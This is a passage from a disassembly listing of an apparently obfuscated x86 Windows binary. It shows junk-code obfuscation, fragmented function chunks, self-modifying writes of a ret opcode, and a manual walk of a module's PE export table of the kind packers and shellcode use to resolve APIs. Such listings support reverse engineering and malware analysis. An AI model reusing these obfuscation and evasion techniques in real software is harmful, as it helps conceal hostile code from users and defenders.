		call	sub_42C1AF
		push	edx
		push	eax
		pop	edx
		xchg	edx, [esp]
		ror	eax, 18h
		jmp	loc_42C016

; =============== S U B	R O U T	I N E =======================================



sub_4291A3	proc near		; CODE XREF: sub_429B49:loc_42893Ep
					; _7hdaygc1:0042F10Aj

; FUNCTION CHUNK AT 0042359E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424159 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425BED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004265C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427F07 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00428745 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429511 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B68F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D26D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E1E2 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_425150, 0
		jz	loc_424159
		mov	eax, ds:dword_425150
		jmp	loc_42359E
sub_4291A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4291C2	proc near		; DATA XREF: sub_4288FE-4D69o
		mov	al, 1
		call	edx
		xor	eax, eax
		retn
sub_4291C2	endp

; ---------------------------------------------------------------------------


loc_4291C9:				; CODE XREF: _7hdaygc1:00425A80j
		jmp	locret_42AE6D

; =============== S U B	R O U T	I N E =======================================



sub_4291CE	proc near		; CODE XREF: _7hdaygc1:0042D093p

var_24		= dword	ptr -24h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425472 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A9A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427446 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042877F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042DB10 SIZE 00000013 BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		jmp	loc_427446
sub_4291CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_4291D9:				; CODE XREF: sub_42F152+15j
		mov	[edx], al


loc_4291DB:				; CODE XREF: sub_424F62:loc_42E7E6j
		dec	dword ptr [ebp-10h]
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_426166
; END OF FUNCTION CHUNK	FOR sub_42F152

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4291EA	proc near		; CODE XREF: sub_42E94F:loc_428E32j
					; _7hdaygc1:0042E9E1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004230C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042327A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004243C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424E33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004254DA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00425519 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425946 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004260F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426AB7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426D92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004272A1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042819F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428409 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042863C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428998 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00428D4A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428D8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429357 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004293D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297F8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00429DD6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A0AF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A1F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AAFF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B60F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042B931 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BD6D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042C164 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042C2C6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042C37C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C6E1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C990 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D41A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D594 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042D65B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D6FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E3B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E965 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042F974 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F9BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042FC0F SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edx, [esp+4+var_4]
		jmp	loc_42A1F5
sub_4291EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E85F


loc_4291F8:				; CODE XREF: sub_42E85F:loc_4271DCj
		xor	eax, 0D580FF3Ch
		call	sub_42DC52
; END OF FUNCTION CHUNK	FOR sub_42E85F
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_429203:				; CODE XREF: sub_42C7F3+647j
		jmp	loc_424202
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------


loc_429208:				; CODE XREF: _7hdaygc1:0042E76Cj
		and	esi, 3BF59D20h
		xor	esi, 9837D7Fh
		jns	loc_42F868
; START	OF FUNCTION CHUNK FOR sub_42F56C


loc_42921A:				; CODE XREF: _7hdaygc1:00425FA8j
					; sub_42F56C:loc_42F572j
		jmp	loc_423CE7
; END OF FUNCTION CHUNK	FOR sub_42F56C
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0]


loc_429222:				; CODE XREF: _7hdaygc1:loc_424C53j
					; _7hdaygc1:00424D1Ej
		jmp	loc_42F85F
; ---------------------------------------------------------------------------
		jno	loc_42624A
		jmp	sub_42E205
; ---------------------------------------------------------------------------
		xor	edx, 76A1DC33h
		jmp	sub_423A34
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42923E:				; CODE XREF: _7hdaygc1:0042A232j
		jmp	loc_426917
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_429244:				; CODE XREF: sub_42C209+2C2Ej
		jmp	loc_42D12D
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_42A461
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42924F:				; CODE XREF: sub_425752+8DAj
		xchg	edx, [esp+8+var_8]
		push	edi
		pushf
		push	3C837832h
		xchg	ecx, [esp+14h+var_14]
		mov	edi, ecx
		pop	ecx
		rol	edi, 1
		jmp	loc_42C153
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------


loc_429266:				; CODE XREF: _7hdaygc1:004266CBj
		ja	loc_42E6CB

; =============== S U B	R O U T	I N E =======================================



sub_42926C	proc near		; CODE XREF: sub_42EBC8-A620p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042AFAC SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 0AF8DBDCBh
		mov	al, [edx]
		pop	edx
		xchg	eax, [esp-8+arg_4]
		mov	ebx, eax
		jmp	loc_42AFAC
sub_42926C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E4D7


loc_429283:				; CODE XREF: sub_42E4D7:loc_424D0Fj
		pop	eax
		sub	eax, 7761209Eh
		add	eax, 8EF7727h
		xchg	eax, [esp+0]
		jmp	loc_424420
; END OF FUNCTION CHUNK	FOR sub_42E4D7
; ---------------------------------------------------------------------------


loc_429298:				; CODE XREF: _7hdaygc1:00425976j
		add	ebx, 0D3C8ED9Ch


loc_42929E:				; CODE XREF: _7hdaygc1:loc_42596Bj
		and	edx, 6C82DDF6h
		sub	edx, 8F3DC016h
		rol	edx, 10h
		add	edx, 18A1DEF2h
		call	sub_42C1AF
		push	eax
		ror	eax, 11h
		jmp	loc_424659
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4292C1:				; CODE XREF: sub_42AFFE:loc_42F01Ej
		push	5EC9506Eh
		pop	edx
		sub	edx, 0B90BA70Bh
		or	edx, 33D7506h
		sub	edx, 3426CF7Ch
		test	edx, 10000h
		jmp	loc_42A8E6
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_4292E5:				; CODE XREF: sub_42F152-93F2j
		jmp	loc_42CB72
; END OF FUNCTION CHUNK	FOR sub_42F152
; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		cmp	eax, [ebp-0Ch]
		jnz	loc_42DF67
		jmp	loc_42FAAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4292FB:				; CODE XREF: sub_42AFFE:loc_42A8E6j
					; sub_42AFFE-708j ...
		add	edx, 1126D7C5h
		add	edx, ebp
		add	edx, 7B41FA4Ch
		mov	edx, [edx]
		lea	eax, [ebp+var_14]
		mov	ecx, [ebp+var_30]
		jmp	loc_426E91
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------


loc_429316:				; CODE XREF: _7hdaygc1:0042ACE3j
		and	esi, ebx

; =============== S U B	R O U T	I N E =======================================



sub_429318	proc near		; CODE XREF: sub_42AFFE+3BAAp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042305A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00423704 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042399D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423F28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424633 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004254E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00426577 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426C06 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004273C7 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00428092 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429F00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A4A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A8A2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042AFBF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042BD45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042C07B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042C0FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E49F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042F053 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F894 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F947 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD46 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_426CBB
		mov	[ebp-30h], eax
		jmp	loc_42399D
sub_429318	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42932E:				; CODE XREF: _7hdaygc1:0042A572j
		jg	loc_429D44
		jmp	loc_42B938
; ---------------------------------------------------------------------------

locret_429339:				; CODE XREF: _7hdaygc1:00428203j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42933A:				; CODE XREF: sub_425E64:loc_42F18Cj
					; sub_426978+937Bj
		jmp	loc_424F72
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42933F:				; CODE XREF: sub_424AE1-1079j
		mov	eax, [ebp-1Ch]
		push	offset loc_424144


loc_429347:				; CODE XREF: sub_428B11+ABEj
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F1C6


loc_42934C:				; CODE XREF: sub_42F1C6:loc_428D80j
		popf
		call	sub_42F65A


loc_429352:				; CODE XREF: _7hdaygc1:0042CEDDj
		jmp	loc_42A5D2
; END OF FUNCTION CHUNK	FOR sub_42F1C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_429357:				; CODE XREF: sub_4291EA-3884j
		jmp	loc_42D6FA
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42935C:				; CODE XREF: sub_4253A0+Ej
		jmp	loc_42721D
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
		call	sub_42D9E1
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_429369:				; CODE XREF: sub_42ED4E-C31j
		jmp	loc_4288D6
; END OF FUNCTION CHUNK	FOR sub_42ED4E

; =============== S U B	R O U T	I N E =======================================



sub_42936E	proc near		; DATA XREF: sub_428079-3451o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004296E3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B573 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C224 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C94E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042EFE3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042FA91 SIZE 0000001A BYTES

		push	edx
		jmp	loc_42B573
sub_42936E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_429374:				; CODE XREF: sub_42EE8A:loc_42E538j
		cmp	eax, 0A38DE010h
		jmp	loc_42B162
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_429380:				; CODE XREF: sub_42CCDD-31E5j
		jmp	loc_42B720
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_429385:				; CODE XREF: sub_42BAE7-1C6Fj
		popf


loc_429386:				; CODE XREF: sub_42BAE7:loc_423A97j
		mov	eax, [ebp-4]
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		push	9CC6BC45h
		pop	ecx
		sub	ecx, 875F4BE8h
		jmp	loc_426A58
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
		sub	eax, ebx
		jmp	loc_42D071
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_4293A7:				; CODE XREF: sub_42B907+22DCj
		shl	edx, 2


loc_4293AA:				; CODE XREF: sub_42B907:loc_42DBDBj
		xor	eax, 2A7DC4A2h
		call	sub_428613
; END OF FUNCTION CHUNK	FOR sub_42B907
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_4293B5:				; CODE XREF: sub_426BF7+12FAj
		jmp	loc_42C77F
; END OF FUNCTION CHUNK	FOR sub_426BF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B265


loc_4293BA:				; CODE XREF: sub_42B265-C40j
		not	eax
		cdq
		and	ecx, edi


loc_4293BF:				; CODE XREF: _7hdaygc1:loc_4242EFj
		call	sub_42E4D7
; END OF FUNCTION CHUNK	FOR sub_42B265
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_4293C4:				; CODE XREF: sub_42C443+8F7j
		jmp	loc_42985B
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4289CE


loc_4293C9:				; CODE XREF: sub_4289CE+14j
		jmp	loc_42F704
; END OF FUNCTION CHUNK	FOR sub_4289CE
; ---------------------------------------------------------------------------
		call	sub_42F4CE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4293D4:				; CODE XREF: sub_4291EA-6122j
		jmp	loc_428D4A
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_425644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDF5


loc_4293DF:				; CODE XREF: sub_42DDF5-6CDDj
		xchg	edi, [esp+4+var_4]
		ror	eax, 3
		push	edi
		push	842B79ABh
		jmp	loc_42BC7D
; END OF FUNCTION CHUNK	FOR sub_42DDF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269BB


loc_4293F0:				; CODE XREF: sub_4269BB+Bj
		cmp	edx, 7C61090Eh
		jz	loc_42ADA9
		jmp	loc_4267F6
; END OF FUNCTION CHUNK	FOR sub_4269BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425339


loc_429401:				; CODE XREF: sub_425339j
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jmp	loc_4242B6
; END OF FUNCTION CHUNK	FOR sub_425339

; =============== S U B	R O U T	I N E =======================================



sub_429412	proc near		; CODE XREF: _7hdaygc1:00423575j
					; sub_427F72+Dp

; FUNCTION CHUNK AT 00426A15 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C560 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042FC9B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		push	441D9AEFh
		pop	ebx
		add	ebx, 7894DEA1h
		jnz	loc_42C560
		sub	edx, 0C9F0BF72h
		jmp	loc_426A15
sub_429412	endp

; ---------------------------------------------------------------------------


loc_429434:				; CODE XREF: _7hdaygc1:0042BA84j
		jnp	loc_42F4EE
		sub	esi, 5E6A822Dh
; START	OF FUNCTION CHUNK FOR sub_423752


loc_429440:				; CODE XREF: sub_423752:loc_42BA77j
		xor	edx, 318FDDB7h
		or	edx, 0DB84C229h
		xor	edx, 0E2F5B2FCh
		add	edx, ebp
		jmp	loc_42D36E
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
		mov	[ebx], edx
		jmp	loc_424492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_429460:				; CODE XREF: sub_424AE1+15j
		add	ecx, 0A42BFD40h
		cmp	ecx, 8FA14DE4h
		jmp	loc_42EF10
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_429471:				; CODE XREF: sub_425E64-EEBj
		mov	ebx, ebp
		add	edi, 0C2D5D9CEh
		or	edi, 0BE204EBBh


loc_42947F:				; CODE XREF: sub_425E64:loc_424F72j
		add	eax, 977BCC64h
		jmp	loc_426BCB
; END OF FUNCTION CHUNK	FOR sub_425E64

; =============== S U B	R O U T	I N E =======================================



sub_42948A	proc near		; CODE XREF: sub_429999p
					; _7hdaygc1:0042EC81j

; FUNCTION CHUNK AT 004266D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042800B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042ACA2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0042D41F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042FBB6 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jns	sub_425492
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]


loc_42949A:				; CODE XREF: _7hdaygc1:loc_42B0C6j
		jmp	loc_42800B
sub_42948A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jg	loc_4297EF
		jmp	loc_429E2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBF7


loc_4294AA:				; CODE XREF: sub_42DBF7-3F2Dj
		mov	ds:dword_425144, eax
		mov	ds:byte_427CC0,	1
		lea	eax, [ebp+var_14]
		xor	edx, edx
		jmp	loc_42AB67
; END OF FUNCTION CHUNK	FOR sub_42DBF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_4294C0:				; CODE XREF: sub_42A2EF+291Bj
					; sub_424755:loc_42DC8Cj
		call	sub_42D757
		mov	edx, 71D66982h
		call	sub_42C1AF
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		ror	eax, 0Eh
		push	esi
		jmp	loc_428711
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_4294DE:				; CODE XREF: _7hdaygc1:00426E1Ej
		add	ebx, 1DA8D328h
		mov	[ebx], eax
		pop	ebx
		mov	edx, [ebp-4]
		push	9668D862h
		pop	eax
		rol	eax, 1Bh
		jmp	loc_42E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_4294F8:				; CODE XREF: sub_42C16F:loc_428174j
		cmp	eax, 0C33985A3h
		jmp	loc_42982A
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		sub	ecx, esi
		jmp	sub_42DE6F
; ---------------------------------------------------------------------------
		sub	ebx, edx
		jmp	sub_42ECAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_429511:				; CODE XREF: sub_4291A3:loc_428745j
					; _7hdaygc1:0042F517j
		push	offset loc_42AA71
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------


loc_42951B:				; CODE XREF: _7hdaygc1:004245B9j
		mov	[edx], ebx

; =============== S U B	R O U T	I N E =======================================



sub_42951D	proc near		; CODE XREF: sub_427D8E:loc_4271B0p

; FUNCTION CHUNK AT 0042B324 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D614 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		push	0
		call	sub_42B32F
		pop	eax
		cmp	dword ptr [eax], 0
		jmp	loc_42D614
sub_42951D	endp


; =============== S U B	R O U T	I N E =======================================



sub_429532	proc near		; DATA XREF: sub_427186+3o

; FUNCTION CHUNK AT 004236E2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004247FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042685C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004283DA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B700 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CB53 SIZE 0000001F BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax


loc_429538:				; CODE XREF: sub_42BDCF:loc_42BDD9j
		jns	loc_42CB67
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_427474[eax*4],	0
		jz	loc_4236E2
		jmp	loc_42B700
sub_429532	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429557	proc near		; CODE XREF: sub_4288FE:loc_42C204j

; FUNCTION CHUNK AT 0042DEB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FA5C SIZE 00000006 BYTES

		push	ebx
		popf
		jmp	loc_42FA5C
sub_429557	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42955E:				; CODE XREF: sub_42DD73:loc_42377Aj
					; sub_42DD73-6973j
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		call	sub_42D9CB
; END OF FUNCTION CHUNK	FOR sub_42DD73
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_429571:				; CODE XREF: sub_42CFDA:loc_42C6C5j
		call	sub_423648


loc_429576:				; CODE XREF: sub_42C7F3-85D4j
		jmp	loc_4298CA
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A1B6


loc_42957B:				; CODE XREF: sub_42A1B6+131Aj
		mov	edi, [edx]
		jmp	loc_42C25C
; END OF FUNCTION CHUNK	FOR sub_42A1B6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E32F


loc_429583:				; CODE XREF: sub_42E32F+4j
		mov	byte ptr [eax],	0C3h
		call	sub_42D757
		push	offset sub_423144
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_42E32F
; ---------------------------------------------------------------------------
		add	edx, eax
		jmp	sub_424FE5
; ---------------------------------------------------------------------------


loc_42959C:				; CODE XREF: _7hdaygc1:004249F7j
		ja	loc_427199

; =============== S U B	R O U T	I N E =======================================



sub_4295A2	proc near		; CODE XREF: sub_424E42+7A23p

; FUNCTION CHUNK AT 0042D790 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edi, 0AEDE1121h


loc_4295AC:				; CODE XREF: sub_42B74A:loc_426720j
		add	edi, ebp
		add	edi, 9B55795Ah
		jmp	loc_42D790
sub_4295A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E7E


loc_4295B9:				; CODE XREF: sub_424E7E:loc_42856Cj
		add	esi, 1C2B341Fh
		push	offset sub_429CCF
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_424E7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_4295C9:				; CODE XREF: sub_428B11+5B22j
		xchg	eax, [ebp+0]
		popf
		adc	ecx, ebx
		jl	loc_429347


loc_4295D5:				; CODE XREF: sub_428B11:loc_42723Dj
		push	offset loc_429DCA


loc_4295DA:				; CODE XREF: _7hdaygc1:0042B08Bj
		jmp	loc_42AA02
; END OF FUNCTION CHUNK	FOR sub_428B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_4295DF:				; CODE XREF: sub_42DAD9:loc_42BA55j
		jnz	loc_42F411
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_42F411
		mov	eax, [ebp+8]
		jmp	loc_42A5F1
; END OF FUNCTION CHUNK	FOR sub_42DAD9

; =============== S U B	R O U T	I N E =======================================



sub_4295F7	proc near		; DATA XREF: _7hdaygc1:0042B420o

; FUNCTION CHUNK AT 004281AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004297C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A112 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E8DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F257 SIZE 00000005 BYTES

		push	14E8F4E1h
		pop	edx
		add	edx, 48266DCBh
		rol	edx, 1Eh
		add	edx, 38D37D4h
		add	edx, ebp
		call	sub_42BEC6


loc_429613:				; CODE XREF: _7hdaygc1:00427036j
		jnb	loc_42F257
		not	edi
		jmp	sub_42EA6A
sub_4295F7	endp

; ---------------------------------------------------------------------------


loc_429620:				; CODE XREF: _7hdaygc1:0042C3CAj
		xchg	esi, [ecx]
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_429622:				; CODE XREF: sub_42874A:loc_42C3B3j
		add	edi, 0E0EA4E17h
		xor	edi, 7E36D3E9h
		call	sub_428AF7
		or	edx, 0B4A49FE8h
		jmp	loc_426DC8
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------


loc_42963E:				; CODE XREF: _7hdaygc1:loc_4258B9j
		sub	edx, eax
		mov	[ebp+0], edx
		pop	edx
		push	offset sub_424E9C
		jmp	locret_4250D0
; ---------------------------------------------------------------------------


loc_42964E:				; CODE XREF: _7hdaygc1:00424D28j
		jb	loc_426720
		jmp	loc_42346F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
